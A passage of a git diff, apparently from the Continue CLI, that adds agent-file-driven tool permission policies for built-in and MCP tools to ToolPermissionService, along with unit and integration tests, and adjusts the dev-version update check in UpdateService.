* Get the current mode being used for system messages - */ - public getCurrentMode(): PermissionMode { - return this.currentMode; - } } - -// Export singleton instance -export const systemMessageService = new SystemMessageService(); diff --git a/extensions/cli/src/services/ToolPermissionService.agentfile.test.ts b/extensions/cli/src/services/ToolPermissionService.agentfile.test.ts new file mode 100644 index 000000000..883640485 --- /dev/null +++ b/extensions/cli/src/services/ToolPermissionService.agentfile.test.ts @@ -0,0 +1,675 @@ +import { ALL_BUILT_IN_TOOLS } from "src/tools/allBuiltIns.js"; + +import { ToolPermissionService } from "./ToolPermissionService.js"; +import { AgentFileServiceState, MCPServiceState } from "./types.js"; + +describe("ToolPermissionService - Agent File Integration", () => { + let service: ToolPermissionService; + + beforeEach(() => { + service = new ToolPermissionService(); + }); + + describe("generateAgentFilePolicies - No parsed tools", () => { + it("should allow all tools when agent file is present but parsedTools is null", () => { + const agentFileState: AgentFileServiceState = { + agentFile: { name: "test-agent" } as any, + slug: "test-slug", + agentFileModel: null, + parsedTools: null, // No parsed tools + parsedRules: null, + }; + + const policies = service.generateAgentFilePolicies(agentFileState); + + expect(policies).toEqual([ + { + tool: "*", + permission: "allow", + }, + ]); + }); + + it("should allow all tools when agent file is present but parsedTools is undefined", () => { + const agentFileState: AgentFileServiceState = { + agentFile: { name: "test-agent" } as any, + slug: "test-slug", + agentFileModel: null, + parsedTools: undefined as any, + parsedRules: null, + }; + + const policies = service.generateAgentFilePolicies(agentFileState); + + expect(policies).toEqual([ + { + tool: "*", + permission: "allow", + }, + ]); + }); + + it("should allow all tools when agentFileServiceState is undefined", () => { + const policies = service.generateAgentFilePolicies(undefined); + + expect(policies).toEqual([ + { + tool: "*", + permission: "allow", + }, + ]); + }); + }); + + describe("generateAgentFilePolicies - With MCP servers", () => { + it("should allow specific MCP tools when explicitly listed", () => { + const agentFileState: AgentFileServiceState = { + agentFile: { name: "test-agent" } as any, + slug: "test-slug", + agentFileModel: null, + parsedTools: { + mcpServers: ["owner/mcp-server"], + tools: [{ mcpServer: "owner/mcp-server", toolName: "specific_tool" }], + allBuiltIn: false, + }, + parsedRules: null, + }; + + const mcpState: MCPServiceState = { + mcpService: null, + connections: [ + { + config: { sourceSlug: "owner/mcp-server" } as any, + status: "connected", + tools: [ + { name: "specific_tool" } as any, + { name: "other_tool" } as any, + { name: "another_tool" } as any, + ], + prompts: [], + warnings: [], + }, + ], + tools: [], + prompts: [], + }; + + const policies = service.generateAgentFilePolicies( + agentFileState, + mcpState, + ); + + // Should allow the specific tool + expect(policies).toContainEqual({ + tool: "specific_tool", + permission: "allow", + }); + + // Should exclude the other tools from the same server + expect(policies).toContainEqual({ + tool: "other_tool", + permission: "exclude", + }); + expect(policies).toContainEqual({ + tool: "another_tool", + permission: "exclude", + }); + + // Should have wildcard allow at the end + expect(policies[policies.length - 1]).toEqual({ + tool: "*", + permission: "allow", + }); + }); + + it("should allow all tools from MCP server when server is listed without specific tools", () => { + const agentFileState: AgentFileServiceState = { + agentFile: { name: "test-agent" } as any, + slug: "test-slug", + agentFileModel: null, + parsedTools: { + mcpServers: ["owner/mcp-server"], + tools: [ + { mcpServer: "owner/mcp-server" }, // No toolName = all tools from this server + ], + allBuiltIn: false, + }, + parsedRules: null, + }; + + const mcpState: MCPServiceState = { + mcpService: null, + connections: [ + { + config: { sourceSlug: "owner/mcp-server" } as any, + status: "connected", + tools: [ + { name: "tool1" } as any, + { name: "tool2" } as any, + { name: "tool3" } as any, + ], + prompts: [], + warnings: [], + }, + ], + tools: [], + prompts: [], + }; + + const policies = service.generateAgentFilePolicies( + agentFileState, + mcpState, + ); + + // Since no specific tools were mentioned, MCP logic doesn't explicitly allow/exclude + // The wildcard allow at the end covers all MCP tools + expect(policies[policies.length - 1]).toEqual({ + tool: "*", + permission: "allow", + }); + }); + + it("should handle multiple MCP servers with mixed specific and blanket access", () => { + const agentFileState: AgentFileServiceState = { + agentFile: { name: "test-agent" } as any, + slug: "test-slug", + agentFileModel: null, + parsedTools: { + mcpServers: ["owner/server1", "owner/server2"], + tools: [ + { mcpServer: "owner/server1", toolName: "specific_tool" }, + { mcpServer: "owner/server2" }, // All tools from server2 + ], + allBuiltIn: false, + }, + parsedRules: null, + }; + + const mcpState: MCPServiceState = { + mcpService: null, + connections: [ + { + config: { sourceSlug: "owner/server1" } as any, + status: "connected", + tools: [ + { name: "specific_tool" } as any, + { name: "other_tool" } as any, + ], + prompts: [], + warnings: [], + }, + { + config: { sourceSlug: "owner/server2" } as any, + status: "connected", + tools: [{ name: "tool_a" } as any, { name: "tool_b" } as any], + prompts: [], + warnings: [], + }, + ], + tools: [], + prompts: [], + }; + + const policies = service.generateAgentFilePolicies( + agentFileState, + mcpState, + ); + + // Server1: Should allow specific_tool and exclude other_tool + expect(policies).toContainEqual({ + tool: "specific_tool", + permission: "allow", + }); + expect(policies).toContainEqual({ + tool: "other_tool", + permission: "exclude", + }); + + // Server2: No specific tools, so wildcard covers them + // Should have wildcard allow at the end + expect(policies[policies.length - 1]).toEqual({ + tool: "*", + permission: "allow", + }); + }); + + it("should handle MCP server not found in connections", () => { + const agentFileState: AgentFileServiceState = { + agentFile: { name: "test-agent" } as any, + slug: "test-slug", + agentFileModel: null, + parsedTools: { + mcpServers: ["owner/missing-server"], + tools: [ + { mcpServer: "owner/missing-server", toolName: "specific_tool" }, + ], + allBuiltIn: false, + }, + parsedRules: null, + }; + + const mcpState: MCPServiceState = { + mcpService: null, + connections: [], // No connections + tools: [], + prompts: [], + }; + + const policies = service.generateAgentFilePolicies( + agentFileState, + mcpState, + ); + + // Should still have wildcard allow at the end + expect(policies[policies.length - 1]).toEqual({ + tool: "*", + permission: "allow", + }); + }); + }); + + describe("generateAgentFilePolicies - With built-in tools", () => { + it("should allow only specific built-in tools when listed", () => { + const agentFileState: AgentFileServiceState = { + agentFile: { name: "test-agent" } as any, + slug: "test-slug", + agentFileModel: null, + parsedTools: { + mcpServers: [], + tools: [{ toolName: "Bash" }, { toolName: "Read" }], + allBuiltIn: false, + }, + parsedRules: null, + }; + + const policies = service.generateAgentFilePolicies(agentFileState); + + // Should allow the specific built-in tools + expect(policies).toContainEqual({ + tool: "Bash", + permission: "allow", + }); + expect(policies).toContainEqual({ + tool: "Read", + permission: "allow", + }); + + // Should exclude all other built-in tools + const allBuiltInNames = ALL_BUILT_IN_TOOLS.map((t) => t.name); + const notListed = allBuiltInNames.filter( + (name) => name !== "Bash" && name !== "Read", + ); + + for (const toolName of notListed) { + expect(policies).toContainEqual({ + tool: toolName, + permission: "exclude", + }); + } + + // Should have wildcard allow at the end + expect(policies[policies.length - 1]).toEqual({ + tool: "*", + permission: "allow", + }); + }); + + it("should allow all built-in tools when allBuiltIn is true", () => { + const agentFileState: AgentFileServiceState = { + agentFile: { name: "test-agent" } as any, + slug: "test-slug", + agentFileModel: null, + parsedTools: { + mcpServers: [], + tools: [], + allBuiltIn: true, + }, + parsedRules: null, + }; + + const policies = service.generateAgentFilePolicies(agentFileState); + + // Should NOT have any exclude policies for built-in tools + const excludePolicies = policies.filter( + (p) => p.permission === "exclude", + ); + expect(excludePolicies).toEqual([]); + + // Should have wildcard allow at the end + expect(policies[policies.length - 1]).toEqual({ + tool: "*", + permission: "allow", + }); + }); + + it("should exclude built-in tools when MCP servers are present but allBuiltIn is false", () => { + const agentFileState: AgentFileServiceState = { + agentFile: { name: "test-agent" } as any, + slug: "test-slug", + agentFileModel: null, + parsedTools: { + mcpServers: ["owner/mcp-server"], + tools: [{ mcpServer: "owner/mcp-server" }], + allBuiltIn: false, + }, + parsedRules: null, + }; + + const mcpState: MCPServiceState = { + mcpService: null, + connections: [ + { + config: { sourceSlug: "owner/mcp-server" } as any, + status: "connected", + tools: [{ name: "mcp_tool" } as any], + prompts: [], + warnings: [], + }, + ], + tools: [], + prompts: [], + }; + + const policies = service.generateAgentFilePolicies( + agentFileState, + mcpState, + ); + + // Should exclude all built-in tools + const allBuiltInNames = ALL_BUILT_IN_TOOLS.map((t) => t.name); + for (const toolName of allBuiltInNames) { + expect(policies).toContainEqual({ + tool: toolName, + permission: "exclude", + }); + } + + // Should have wildcard allow at the end + expect(policies[policies.length - 1]).toEqual({ + tool: "*", + permission: "allow", + }); + }); + + it("should allow both built-in tools and MCP tools when both are specified", () => { + const agentFileState: AgentFileServiceState = { + agentFile: { name: "test-agent" } as any, + slug: "test-slug", + agentFileModel: null, + parsedTools: { + mcpServers: ["owner/mcp-server"], + tools: [ + { toolName: "Bash" }, + { toolName: "Read" }, + { mcpServer: "owner/mcp-server", toolName: "mcp_tool" }, + ], + allBuiltIn: false, + }, + parsedRules: null, + }; + + const mcpState: MCPServiceState = { + mcpService: null, + connections: [ + { + config: { sourceSlug: "owner/mcp-server" } as any, + status: "connected", + tools: [ + { name: "mcp_tool" } as any, + { name: "other_mcp_tool" } as any, + ], + prompts: [], + warnings: [], + }, + ], + tools: [], + prompts: [], + }; + + const policies = service.generateAgentFilePolicies( + agentFileState, + mcpState, + ); + + // Should allow the specific MCP tool + expect(policies).toContainEqual({ + tool: "mcp_tool", + permission: "allow", + }); + + // Should exclude the other MCP tool + expect(policies).toContainEqual({ + tool: "other_mcp_tool", + permission: "exclude", + }); + + // Should allow the specific built-in tools + expect(policies).toContainEqual({ + tool: "Bash", + permission: "allow", + }); + expect(policies).toContainEqual({ + tool: "Read", + permission: "allow", + }); + + // Should exclude other built-in tools + const allBuiltInNames = ALL_BUILT_IN_TOOLS.map((t) => t.name); + const notListed = allBuiltInNames.filter( + (name) => name !== "Bash" && name !== "Read", + ); + + for (const toolName of notListed) { + expect(policies).toContainEqual({ + tool: toolName, + permission: "exclude", + }); + } + + // Should have wildcard allow at the end + expect(policies[policies.length - 1]).toEqual({ + tool: "*", + permission: "allow", + }); + }); + }); + + describe("initializeSync with agent file", () => { + it("should use agent file policies when agent file is present with no parsed tools", () => { + const agentFileState: AgentFileServiceState = { + agentFile: { name: "test-agent" } as any, + slug: "test-slug", + agentFileModel: null, + parsedTools: null, // No parsed tools + parsedRules: null, + }; + + const state = service.initializeSync(undefined, agentFileState); + + // Should have wildcard allow policy + expect(state.permissions.policies).toEqual([ + { + tool: "*", + permission: "allow", + }, + ]); + }); + + it("should use agent file policies when agent file is present with parsed tools", () => { + const agentFileState: AgentFileServiceState = { + agentFile: { name: "test-agent" } as any, + slug: "test-slug", + agentFileModel: null, + parsedTools: { + mcpServers: [], + tools: [{ toolName: "Bash" }], + allBuiltIn: false, + }, + parsedRules: null, + }; + + const state = service.initializeSync(undefined, agentFileState); + + // Should have specific policies for Bash and exclusions for others + expect(state.permissions.policies).toContainEqual({ + tool: "Bash", + permission: "allow", + }); + + // Should exclude other built-in tools + const allBuiltInNames = ALL_BUILT_IN_TOOLS.map((t) => t.name); + const notBash = allBuiltInNames.filter((name) => name !== "Bash"); + + for (const toolName of notBash) { + expect(state.permissions.policies).toContainEqual({ + tool: toolName, + permission: "exclude", + }); + } + + // Should have wildcard allow at the end + const lastPolicy = + state.permissions.policies[state.permissions.policies.length - 1]; + expect(lastPolicy).toEqual({ + tool: "*", + permission: "allow", + }); + }); + + it("should use normal resolution when agent file is not present", () => { + const state = service.initializeSync(undefined, undefined); + + // Should have normal policies (not just wildcard allow) + expect(state.permissions.policies.length).toBeGreaterThan(1); + // Should not be just wildcard allow + expect(state.permissions.policies).not.toEqual([ + { + tool: "*", + permission: "allow", + }, + ]); + }); + + it("should prioritize agent file over runtime overrides", () => { + const agentFileState: AgentFileServiceState = { + agentFile: { name: "test-agent" } as any, + slug: "test-slug", + agentFileModel: null, + parsedTools: { + mcpServers: [], + tools: [{ toolName: "Read" }], + allBuiltIn: false, + }, + parsedRules: null, + }; + + const runtimeOverrides = { + allow: ["Bash", "Write"], + exclude: ["Read"], + }; + + const state = service.initializeSync( + runtimeOverrides, + agentFileState, + undefined, + ); + + // Agent file should take precedence, so Read should be allowed (not excluded) + expect(state.permissions.policies).toContainEqual({ + tool: "Read", + permission: "allow", + }); + + // Bash should be excluded (not in agent file) + expect(state.permissions.policies).toContainEqual({ + tool: "Bash", + permission: "exclude", + }); + }); + }); + + describe("Edge cases and boundary conditions", () => { + it("should handle empty parsed tools arrays - allows everything", () => { + const agentFileState: AgentFileServiceState = { + agentFile: { name: "test-agent" } as any, + slug: "test-slug", + agentFileModel: null, + parsedTools: { + mcpServers: [], + tools: [], + allBuiltIn: false, + }, + parsedRules: null, + }; + + const policies = service.generateAgentFilePolicies(agentFileState); + + // With empty tools array and no MCP servers, the logic doesn't enter + // the exclusion path, so it just returns wildcard allow + // This is the "blank = all built-in tools" case from the comments + expect(policies).toEqual([ + { + tool: "*", + permission: "allow", + }, + ]); + }); + + it("should handle MCP state with empty connections array", () => { + const agentFileState: AgentFileServiceState = { + agentFile: { name: "test-agent" } as any, + slug: "test-slug", + agentFileModel: null, + parsedTools: { + mcpServers: ["owner/mcp-server"], + tools: [{ mcpServer: "owner/mcp-server", toolName: "specific_tool" }], + allBuiltIn: false, + }, + parsedRules: null, + }; + + const mcpState: MCPServiceState = { + mcpService: null, + connections: [], + tools: [], + prompts: [], + }; + + const policies = service.generateAgentFilePolicies( + agentFileState, + mcpState, + ); + + // Should still generate policies and have wildcard allow + expect(policies[policies.length - 1]).toEqual({ + tool: "*", + permission: "allow", + }); + }); + + it("should handle MCP state being undefined", () => { + const agentFileState: AgentFileServiceState = { + agentFile: { name: "test-agent" } as any, + slug: "test-slug", + agentFileModel: null, + parsedTools: { + mcpServers: ["owner/mcp-server"], + tools: [{ mcpServer: "owner/mcp-server", toolName: "specific_tool" }], + allBuiltIn: false, + }, + parsedRules: null, + }; + + const policies = service.generateAgentFilePolicies( + agentFileState, + undefined, + ); + + // Should still generate policies and have wildcard allow + expect(policies[policies.length - 1]).toEqual({ + tool: "*", + permission: "allow", + }); + }); + }); +}); diff --git a/extensions/cli/src/services/ToolPermissionService.test.ts b/extensions/cli/src/services/ToolPermissionService.test.ts index 2d62ba2cf..2f63ab4fd 100644 --- a/extensions/cli/src/services/ToolPermissionService.test.ts +++ b/extensions/cli/src/services/ToolPermissionService.test.ts @@ -1,4 +1,4 @@ -import { describe, expect, test, beforeEach, vi } from "vitest"; +import { beforeEach, describe, expect, test, vi } from "vitest"; // Mock modules vi.mock("../permissions/permissionsYamlLoader.js"); diff --git a/extensions/cli/src/services/ToolPermissionService.ts b/extensions/cli/src/services/ToolPermissionService.ts index 8271b044e..4e0802272 100644 --- a/extensions/cli/src/services/ToolPermissionService.ts +++ b/extensions/cli/src/services/ToolPermissionService.ts @@ -1,3 +1,5 @@ +import { ALL_BUILT_IN_TOOLS } from "src/tools/allBuiltIns.js"; + import { ensurePermissionsYamlExists } from "../permissions/permissionsYamlLoader.js"; import { resolvePermissionPrecedence } from "../permissions/precedenceResolver.js"; import { @@ -7,7 +9,21 @@ import { } from "../permissions/types.js"; import { logger } from "../util/logger.js"; -import { BaseService } from "./BaseService.js"; +import { BaseService, ServiceWithDependencies } from "./BaseService.js"; +import { serviceContainer } from "./ServiceContainer.js"; +import { + AgentFileServiceState, + MCPServiceState, + SERVICE_NAMES, +} from "./types.js"; + +export interface InitializeToolServiceOverrides { + allow?: string[]; + ask?: string[]; + exclude?: string[]; + mode?: PermissionMode; + isHeadless?: boolean; +} export interface ToolPermissionServiceState { permissions: ToolPermissions; @@ -20,7 +36,10 @@ export interface ToolPermissionServiceState { /** * Service for managing tool permissions with a single source of truth */ -export class ToolPermissionService extends BaseService { +export class ToolPermissionService + extends BaseService + implements ServiceWithDependencies +{ constructor() { super("ToolPermissionService", { permissions: { policies: [] }, @@ -30,6 +49,119 @@ export class ToolPermissionService extends BaseService, + ): void { + super.setState(newState); + serviceContainer.set(SERVICE_NAMES.TOOL_PERMISSIONS, this.currentState); + } + + /** + * Declare dependencies on other services + */ + getDependencies(): string[] { + return [SERVICE_NAMES.AGENT_FILE, SERVICE_NAMES.MCP]; + } + + /** + * Generate agent-file-specific policies if an agent file is active + */ + generateAgentFilePolicies( + agentFileServiceState?: AgentFileServiceState, + mcpServiceState?: MCPServiceState, + ): ToolPermissionPolicy[] { + // With --agent, all available tools are allowed if not specified + const parsedTools = agentFileServiceState?.parsedTools; + if (!parsedTools) { + return [ + { + tool: "*", + permission: "allow", + }, + ]; + } + + const policies: ToolPermissionPolicy[] = []; + const servers = Array.from(mcpServiceState?.connections?.values() ?? []); + for (const mcpServer of parsedTools.mcpServers) { + const server = servers?.find( + (s) => s.config?.sourceSlug && s.config.sourceSlug === mcpServer, + ); + if (!server) { + logger.warn("No connected MCP server found "); + continue; + } + + const specificTools = parsedTools.tools.filter( + (t) => t.mcpServer && t.toolName && t.mcpServer === mcpServer, + ); + + // In the `tools` key of an agent is comma separated strings like + // mcp/server, mcp/server2:tool_name, Bash + // - this would give the agent access to ALL tools from mcp/server, ONLY tool_name from mcp/server2, and Bash, and no other tools + // mcp/server + // - this would give the agent access to ALL tools from mcp/server, and no built-ins + // built_in, mcp/server + // - "built_in" keyword can be used to include all built ins + // Blank = all built-in tools + + // Handle MCP first + // If ANY mcp tools are specifically called out, only allow those ones for that mcp server + // Otherwise the blanket allow will cover all MCP tools + if (specificTools.length) { + const specificSet = new Set(specificTools.map((t) => t.toolName)); + const notMentioned = server.tools.filter( + (t) => !specificSet.has(t.name), + ); + const allowed: ToolPermissionPolicy[] = specificTools.map((t) => ({ + tool: t.toolName!, + permission: "allow", + })); + policies.push(...allowed); + const disallowed: ToolPermissionPolicy[] = notMentioned.map((t) => ({ + tool: t.name, + permission: "exclude", + })); + policies.push(...disallowed); + } + } + + // If mcp servers or specific built-in tools are specified + // then we only inclue listed built-in tools and exclude all others + const hasMcp = !!parsedTools.mcpServers?.length; + const specificBuiltIns = parsedTools.tools + .filter((t) => !t.mcpServer) + .map((t) => t.toolName!); + if (specificBuiltIns.length || (hasMcp && !parsedTools.allBuiltIn)) { + const allowed: ToolPermissionPolicy[] = specificBuiltIns.map((tool) => ({ + tool, + permission: "allow", + })); + policies.push(...allowed); + const specificBuiltInSet = new Set(specificBuiltIns); + const notMentioned = ALL_BUILT_IN_TOOLS.map((t) => t.name).filter( + (name) => !specificBuiltInSet.has(name), + ); + const disallowed: ToolPermissionPolicy[] = notMentioned.map((tool) => ({ + tool, + permission: "exclude", + })); + policies.push(...disallowed); + } + + // Allow all other tools + policies.push({ + tool: "*", + permission: "allow", + }); + + return policies; + } + /** * Generate mode-specific policies based on the current mode */ @@ -57,7 +189,7 @@ export class ToolPermissionService extends BaseService { - // Ensure permissions.yaml exists before loading + async doInitialize( + runtimeOverrides?: InitializeToolServiceOverrides, + agentFileServiceState?: AgentFileServiceState, + mcpServiceState?: MCPServiceState, + ): Promise { await ensurePermissionsYamlExists(); // Use the synchronous version after ensuring the file exists - return this.initializeSync(runtimeOverrides); + return this.initializeSync( + runtimeOverrides, + agentFileServiceState, + mcpServiceState, + ); } /** @@ -173,13 +306,12 @@ export class ToolPermissionService extends BaseService { + return [ + { + mode: "normal", + description: "Default mode - follows configured permission policies", + }, + { + mode: "plan", + description: "Planning mode - only allow read-only tools for analysis", + }, + { + mode: "auto", + description: "Automatically allow all tools without asking", + }, + ]; + } } diff --git a/extensions/cli/src/services/UpdateService.ts b/extensions/cli/src/services/UpdateService.ts index 6d1c893bc..cdf197134 100644 --- a/extensions/cli/src/services/UpdateService.ts +++ b/extensions/cli/src/services/UpdateService.ts @@ -50,6 +50,15 @@ export class UpdateService extends BaseService { }); try { + // skip checking for updates in dev + if (this.currentState.currentVersion === "0.0.0-dev") { + this.setState({ + status: UpdateStatus.IDLE, + message: `Continue CLI`, + }); + return; // Uncomment to test auto-update behavior in dev + } + // Check for updates this.setState({ status: UpdateStatus.CHECKING, @@ -79,16 +88,6 @@ export class UpdateService extends BaseService { isUpdateAvailable, }); - if (this.currentState.currentVersion === "0.0.0-dev") { - this.setState({ - status: UpdateStatus.IDLE, - message: `Continue CLI`, - isUpdateAvailable, - latestVersion, - }); - return; // Uncomment to test auto-update behavior in dev - } - // If update is available, automatically update if ( autoUpdate && diff --git a/extensions/cli/src/services/agent-file-integration.test.ts b/extensions/cli/src/services/agent-file-integration.test.ts new file mode 100644 index 000000000..080f9e40d --- /dev/null +++ b/extensions/cli/src/services/agent-file-integration.test.ts @@ -0,0 +1,800 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +import { AgentFileService } from "./AgentFileService.js"; +import { ConfigService } from "./ConfigService.js"; +import { ModelService } from "./ModelService.js"; + +// Mock the hubLoader module +vi.mock("../hubLoader.js", () => ({ + loadPackageFromHub: vi.fn(), + loadPackagesFromHub: vi.fn(), + loadModelFromHub: vi.fn(), + mcpProcessor: {}, + modelProcessor: {}, + processRule: vi.fn(), + isStringRule: vi.fn(), + agentFileProcessor: { + type: "agentFile", + expectedFileExtensions: [".md"], + parseContent: vi.fn(), + validateContent: vi.fn(), + }, +})); + +// Mock the logger +vi.mock("../util/logger.js", () => ({ + logger: { + debug: vi.fn(), + error: vi.fn(), + warn: vi.fn(), + }, +})); + +// Mock config module +vi.mock("../config.js", () => ({ + createLlmApi: vi.fn(), + getLlmApi: vi.fn(), +})); + +// Mock auth module +vi.mock("../auth/workos.js", () => ({ + getModelName: vi.fn(), + loadAuthConfig: vi.fn(), +})); + +// Mock the config-yaml package +vi.mock("@continuedev/config-yaml", async (importOriginal) => { + const actual = + await importOriginal(); + return { + ...actual, + decodePackageIdentifier: vi.fn((id) => ({ + type: "slug", + slug: id, + version: undefined, + })), + }; +}); + +// Mock configLoader +vi.mock("../configLoader.js", () => ({ + loadConfiguration: vi.fn(), +})); + +// Mock service container +vi.mock("./ServiceContainer.js", () => ({ + serviceContainer: { + get: vi.fn(), + set: vi.fn(), + reload: vi.fn(), + }, +})); + +describe("Agent file Integration Tests", () => { + let agentFileService: AgentFileService; + let modelService: ModelService; + let configService: ConfigService; + let mockLoadPackageFromHub: any; + let mockLoadPackagesFromHub: any; + let mockProcessRule: any; + let mockCreateLlmApi: any; + let mockGetLlmApi: any; + let mockModelProcessor: any; + let mockDecodePackageIdentifier: any; + let mockLoadModelFromHub: any; + let mockIsStringRule: any; + + const mockAgentFile = { + name: "Test Agent File", + description: "A test agent for integration testing", + model: "gpt-4-agent", + tools: "bash,read,write", + rules: "Always be helpful and concise", + prompt: "You are an assistant.", + }; + + const mockAssistant = { + models: [ + { + provider: "openai", + name: "gpt-3.5-turbo", + roles: ["chat"], + }, + { + provider: "openai", + name: "gpt-4", + roles: ["chat"], + }, + ], + }; + + const mockAuthConfig = { + apiKey: "test-key", + }; + + beforeEach(async () => { + vi.clearAllMocks(); + + // Get mock functions + const hubLoaderModule = await import("../hubLoader.js"); + const configModule = await import("../config.js"); + + mockLoadPackageFromHub = hubLoaderModule.loadPackageFromHub as any; + mockLoadPackagesFromHub = hubLoaderModule.loadPackagesFromHub as any; + mockProcessRule = hubLoaderModule.processRule as any; + mockModelProcessor = hubLoaderModule.modelProcessor; + mockLoadModelFromHub = hubLoaderModule.loadModelFromHub as any; + mockIsStringRule = hubLoaderModule.isStringRule as any; + mockCreateLlmApi = configModule.createLlmApi as any; + mockGetLlmApi = configModule.getLlmApi as any; + + // Get mock functions from config-yaml + const configYaml = await import("@continuedev/config-yaml"); + mockDecodePackageIdentifier = configYaml.decodePackageIdentifier as any; + + // Create service instances + agentFileService = new AgentFileService(); + modelService = new ModelService(); + configService = new ConfigService(); + + // Setup default mocks + mockProcessRule.mockResolvedValue("Processed rule content"); + mockLoadPackagesFromHub.mockResolvedValue([{ name: "test-mcp" }]); + mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); + mockLoadModelFromHub.mockResolvedValue({ + name: "gpt-4-agent", + provider: "openai", + }); + mockIsStringRule.mockImplementation((rule: string) => { + // String rules are those that don't look like package identifiers + return rule.includes(" ") || rule.includes("\n") || !rule.includes("/"); + }); + mockCreateLlmApi.mockReturnValue({ mock: "llmApi" }); + mockGetLlmApi.mockReturnValue([ + { mock: "llmApi" }, + mockAssistant.models[0], + ]); + }); + + describe("Agent file models are injected via ConfigService", () => { + it("should add agent file model when agent file is active", async () => { + // Setup agent file service with active agent file + mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); + + // Mock the required service states + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + await agentFileService.initialize( + "owner/agent", + authServiceState, + apiClientState, + ); + + const agentFileState = agentFileService.getState(); + expect(agentFileState.agentFile?.model).toBe("gpt-4-agent"); + + // Test that ConfigService processes the agent file model + const baseOptions = {}; // No --model flag + + const { injected, additional } = + configService.getAdditionalBlocksFromOptions( + baseOptions, + agentFileState, + ); + + // Should have processed the agent file model as a package identifier + expect(mockDecodePackageIdentifier).toHaveBeenCalledWith("gpt-4-agent"); + expect(injected).toHaveLength(2); // Agent file model + parsed rules become package identifiers + }); + + it("should not add agent file model when no agent file active", async () => { + // Initialize agent file service without agent + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + await agentFileService.initialize( + undefined, + authServiceState, + apiClientState, + ); + + const agentFileState = agentFileService.getState(); + expect(agentFileState.agentFile).toBeNull(); + + // Test that ConfigService doesn't add any agent file models + const baseOptions = {}; + + const { injected, additional } = + configService.getAdditionalBlocksFromOptions( + baseOptions, + agentFileState, + ); + + // Should not have processed any models + expect(injected).toHaveLength(0); + expect(additional.models || []).toHaveLength(0); + }); + + it("should process both --model flag and agent file model", async () => { + // Setup agent file service with active agent file + mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); + + // Mock the required service states + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + await agentFileService.initialize( + "owner/agent", + authServiceState, + apiClientState, + ); + + // Test that --model flag and agent file model are both processed + const baseOptions = { model: ["user-specified-model"] }; // User specified --model + + const { injected, additional } = + configService.getAdditionalBlocksFromOptions( + baseOptions, + agentFileService.getState(), + ); + + // Should process both the user model and agent file model as package identifiers + expect(mockDecodePackageIdentifier).toHaveBeenCalledWith( + "user-specified-model", + ); + expect(mockDecodePackageIdentifier).toHaveBeenCalledWith("gpt-4-agent"); + expect(injected).toHaveLength(3); // User model + agent file model + parsed rules as package identifiers + }); + }); + + describe("AgentFileService affects ConfigService", () => { + it("should inject agent file rules when agent file active", async () => { + // Mock the agent file with parsed rules + const agentFileStateWithRules = { + agentFile: mockAgentFile, + parsedRules: ["agent/rule1"], // Parsed rules from agent file + parsedTools: null, + slug: null, + agentFileModel: null, + }; + + const baseOptions = {}; + + const { injected, additional } = + configService.getAdditionalBlocksFromOptions( + baseOptions, + agentFileStateWithRules, + ); + + // Agent file rules should be processed as package identifiers + expect(mockDecodePackageIdentifier).toHaveBeenCalledWith("agent/rule1"); + expect(injected).toHaveLength(2); // Model + rule + }); + + it("should not inject agent file rules when agent file inactive", async () => { + // Initialize agent file service without agent file + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + await agentFileService.initialize( + undefined, + authServiceState, + apiClientState, + ); + + const baseOptions = {}; + const agentFileState = agentFileService.getState(); + + const { injected, additional } = + configService.getAdditionalBlocksFromOptions( + baseOptions, + agentFileState, + ); + + // Should not process any rules since no agent file is active + expect(injected).toHaveLength(0); + expect(additional.rules).toHaveLength(0); + }); + + it("should not inject agent file rules when agent file has no rules", async () => { + const agentFileWithoutRules = { + ...mockAgentFile, + rules: undefined, + }; + + // Mock agent file state with no parsed rules + const agentFileStateWithoutRules = { + agentFile: agentFileWithoutRules, + parsedRules: [], // No parsed rules + parsedTools: null, + slug: null, + agentFileModel: null, + }; + + const baseOptions = {}; + + const { injected, additional } = + configService.getAdditionalBlocksFromOptions( + baseOptions, + agentFileStateWithoutRules, + ); + + // Should only have the model, no rules + expect(mockDecodePackageIdentifier).toHaveBeenCalledWith("gpt-4-agent"); // Only the model + expect(injected).toHaveLength(1); // Only the model + expect(additional.rules).toHaveLength(0); + }); + }); + + describe("Agent file model constraints", () => { + it("should filter available models to only agent file model when specified", async () => { + mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); + + // Mock the required service states + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + await agentFileService.initialize( + "owner/agent", + authServiceState, + apiClientState, + ); + + await modelService.initialize( + mockAssistant as any, + mockAuthConfig as any, + ); + + // Verify that available models include all original models + // (we removed the filtering logic) + const availableModels = modelService.getAvailableChatModels(); + expect(availableModels).toHaveLength(2); // Should include both original models + expect(availableModels.map((m) => m.name)).toEqual([ + "gpt-3.5-turbo", + "gpt-4", + ]); + }); + + it("should allow all models when no agent file active", async () => { + // Mock the required service states + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + await agentFileService.initialize( + undefined, + authServiceState, + apiClientState, + ); + + await modelService.initialize( + mockAssistant as any, + mockAuthConfig as any, + ); + + const availableModels = modelService.getAvailableChatModels(); + expect(availableModels).toHaveLength(2); + expect(availableModels.map((m) => m.name)).toEqual([ + "gpt-3.5-turbo", + "gpt-4", + ]); + }); + }); + + describe("Error handling", () => { + it("should handle agent loading errors gracefully", async () => { + mockLoadPackageFromHub.mockRejectedValue(new Error("Network error")); + + // Mock the required service states + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + // The service should throw the error, not handle it gracefully + await expect( + agentFileService.initialize( + "owner/agent", + authServiceState, + apiClientState, + ), + ).rejects.toThrow("Network error"); + + const agentFileState = agentFileService.getState(); + 